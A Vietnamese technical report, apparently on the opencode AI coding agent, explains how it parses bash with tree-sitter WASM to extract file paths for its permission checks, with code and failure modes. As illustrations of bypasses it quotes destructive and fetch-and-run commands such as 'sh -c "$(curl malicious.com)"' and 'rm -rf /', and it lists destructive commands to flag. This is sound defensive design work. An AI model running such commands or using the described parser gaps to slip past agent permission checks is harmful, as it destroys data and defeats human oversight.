← opencode report

T18 — Bash command parsing với tree-sitter WASM

Regex để phân tích bash là bug-farm. rm -rf /, echo hello | rm, sh -c 'rm x' — tree-sitter parse đúng grammar đầy đủ, extract paths cho permission system một cách an toàn.
Nhóm: C — Tool DesignFile: tool/bash.ts · Lines 150–320ID: C.6 / T18Status: Stable

Tổng quan Tool Design

Tại sao quan trọng. Permission system cần biết: lệnh bash này có modify file không? Nếu có, ở path nào? Dùng regex để detect điều này là cực kỳ nguy hiểm — regex không hiểu cú pháp shell: rm -rf / rõ ràng, nhưng sh -c 'rm $(cat target)', $(ls | head -1 | xargs rm), hay export X=rm; $X /etc/passwd thì không. tree-sitter-bash là full grammar parser — hiểu quoting, subshell, pipe, redirection, command substitution.
WASM portable: tree-sitter-bash WASM file chạy trong Bun, Node.js, và browser — cùng 1 binary, không cần native bindings hay recompile. Lazy-load đảm bảo cold start nhanh.

Phân tích code chi tiết Anatomy

Lazy-load parser + WASM

tool/bash.ts — lazy parser init

TS
import TreeSitter from "web-tree-sitter"
import BashWasm from "tree-sitter-bash/tree-sitter-bash.wasm" // with { type: "file" }

// Lazy-load parser một lần, tái dùng cho mọi command
let parserPromise: Promise<TreeSitter.Parser> | null = null

function getParser(): Promise<TreeSitter.Parser> {
  if (!parserPromise) {
    parserPromise = (async () => {
      await TreeSitter.init()
      const parser = new TreeSitter()
      parser.setLanguage(await TreeSitter.Language.load(BashWasm))
      return parser
    })()
  }
  return parserPromise
}

Walk AST, extract paths từ destructive commands

tool/bash.ts — analyzeCommand

TS
const DESTRUCTIVE_COMMANDS = new Set([
  "rm", "mv", "cp", "dd", "chmod", "chown",
  "truncate", "shred", "wipe", "mkfs",
])

export async function analyzeCommand(cmd: string) {
  const parser = await getParser()
  const tree   = parser.parse(cmd)

  const commands: Array<{ name: string; args: string[]; paths: string[] }> = []

  // Walk AST recursively
  walkTree(tree.rootNode, (node) => {
    if (node.type !== "command") return

    const name = node.childForFieldName("name")?.text ?? ""
    const args = node.childrenForFieldName("argument").map((a) => a.text)
    const paths = args.filter((a) => looksLikePath(a))

    commands.push({ name, args, paths })
  })

  return {
    commands,
    modifiesFiles: commands.some((c) => DESTRUCTIVE_COMMANDS.has(c.name)),
    paths: commands.flatMap((c) => c.paths),
  }
}

function looksLikePath(s: string): boolean {
  return s.startsWith("/") || s.startsWith("./") || s.startsWith("~/") ||
    s.includes("/") || /\.\w+$/.test(s)
}
bash command: "rm -rf ./dist && mv src/index.ts src/main.ts" │ ▼ tree-sitter parse │ ▼ AST (Abstract Syntax Tree) ├── command: "rm" │ args: ["-rf", "./dist"] │ paths: ["./dist"] ← looksLikePath() │ └── command: "mv" args: ["src/index.ts", "src/main.ts"] paths: ["src/index.ts", "src/main.ts"] │ ▼ { modifiesFiles: true, paths: ["./dist", "src/index.ts", "src/main.ts"] } │ ▼ permission.ask({ permission: "bash", patterns: paths })

Tương tác với kỹ thuật khác Interaction

  • T24 (Wildcard permission evaluation): Paths extracted bởi tree-sitter là input cho permission system. analyzeCommand trả về paths → permission.ask({ patterns: paths }) → wildcard match → allow/deny/ask.
  • T26 (Arity normalization): Command name từ tree-sitter parse ("npm run", "git commit") được đưa vào arity normalization để suggest wildcard pattern cho user.
  • T25 (Session-scoped permission): Khi user approve rm ./dist với "always" → bash:rm ./dist* được lưu vào session state. Lần sau parser detect rm ./dist/... → permission check pass luôn.

Failure modes Failure

1. WASM bundle size

tree-sitter-bash.wasm ~1.5–2MB. Tăng startup time đáng kể nếu không lazy-load. Lazy-load giải quyết phần lớn nhưng first bash command vẫn chậm hơn (~100–200ms) so với subsequent calls.

2. Shell exotic syntax

tree-sitter-bash support bash/sh grammar nhưng có thể miss một số pattern của zsh-specific syntax, fish shell, hoặc complex Here-doc. Với các shell exotic này, parser có thể trả về AST không đầy đủ.

Security implication: Nếu parser miss 1 pattern, permission check có thể bị bypass. Cần fallback: nếu parse fail hoặc không detect được command, default sang "ask" thay vì "allow". Fail-safe, không fail-open.

3. Dynamic command construction

eval "rm $(cat target)" hoặc sh -c "$(curl malicious.com)" — tree-sitter parse được AST nhưng không thể biết giá trị runtime của expression. Chỉ có thể detect pattern, không thể đảm bảo an toàn 100%.

So sánh với các harness khác Compare

HarnessBash analysis methodAccuracyNotes
opencodetree-sitter WASM (full grammar)⭐⭐⭐⭐⭐Chính xác nhất, portable
Claude CodeRegex + heuristics⭐⭐⭐Documented bypass vulnerabilities
AiderPython shlex parsing⭐⭐⭐Tốt hơn regex nhưng không đầy đủ
ClineRegex pattern matching⭐⭐Dễ bypass với quoting
OpenHarnessHardcoded sensitive path check⭐⭐Pattern-based, không parse AST

Implementation recipe Recipe

TS
// Install: npm install web-tree-sitter tree-sitter-bash
import TreeSitter from "web-tree-sitter"

let _parser: TreeSitter.Parser | null = null

async function getBashParser(): Promise<TreeSitter.Parser> {
  if (_parser) return _parser
  await TreeSitter.init()
  _parser = new TreeSitter()
  // tree-sitter-bash package cung cấp WASM file
  const lang = await TreeSitter.Language.load("node_modules/tree-sitter-bash/tree-sitter-bash.wasm")
  _parser.setLanguage(lang)
  return _parser
}

export async function extractCommandInfo(cmd: string) {
  const parser = await getBashParser()
  const tree   = parser.parse(cmd)

  const DANGEROUS = new Set(["rm", "mv", "cp", "dd", "chmod", "chown", "truncate"])
  const commands: { name: string; paths: string[] }[] = []

  function walk(node: TreeSitter.SyntaxNode) {
    if (node.type === "command") {
      const name  = node.childForFieldName("name")?.text ?? ""
      const args  = node.childrenForFieldName("argument").map(a => a.text)
      const paths = args.filter(a => /^[\./~]|\//.test(a))
      commands.push({ name, paths })
    }
    node.children.forEach(walk)
  }
  walk(tree.rootNode)

  return {
    commands,
    isDangerous: commands.some(c => DANGEROUS.has(c.name)),
    allPaths:    commands.flatMap(c => c.paths),
  }
}

Tham khảo Refs